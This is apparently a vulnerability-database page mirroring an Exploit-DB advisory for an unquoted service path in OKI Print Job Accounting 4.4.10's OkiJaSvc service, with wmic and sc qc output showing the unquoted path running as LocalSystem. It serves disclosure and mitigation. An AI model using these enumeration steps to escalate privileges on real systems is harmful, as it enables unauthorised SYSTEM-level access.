header-logo
Suggest Exploit
vendor:
Print Job Accounting
by:
Brian Rodriguez
7.8
CVSS
HIGH
Unquoted Service Path
426
CWE
Product Name: Print Job Accounting
Affected Version From: 4.4.10
Affected Version To: 4.4.10
Patch Exists: NO
Related CWE: N/A
CPE: a:oki:print_job_accounting:4.4.10
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 8.1 Pro 64 bits
2021

Print Job Accounting 4.4.10 – ‘OkiJaSvc’ Unquoted Service Path

A vulnerability in Print Job Accounting 4.4.10 allows an attacker to gain elevated privileges by exploiting an unquoted service path in the OkiJaSvc service.

Mitigation:

Ensure that all services have a fully qualified path to the executable.
Source

Exploit-DB raw data:

# Exploit Title: Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://www.oki.com
# Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46229002&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6
# Tested Version: 4.4.10
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

C:\Windows\system32>wmic service get name, displayname, pathname, startmode
| findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ OKI
Local Port Manager OpLclSrv C:\Program
Files\Okidata\Common\Extend3\portmgrsrv.exe Print Job Accounting OkiJaSvc
C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe Print Job
Accounting Watch Service OkiWchSvc C:\Program Files\Okidata\Print Job
Accounting\okwchsvc.exe Print Job Accounting opja0004 opja0004 C:\Program
Files\Okidata\Print Job Accounting\opja0004.exe

C:\Windows\system32>sc qc OkiJaSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: OkiJaSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Print Job Accounting
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem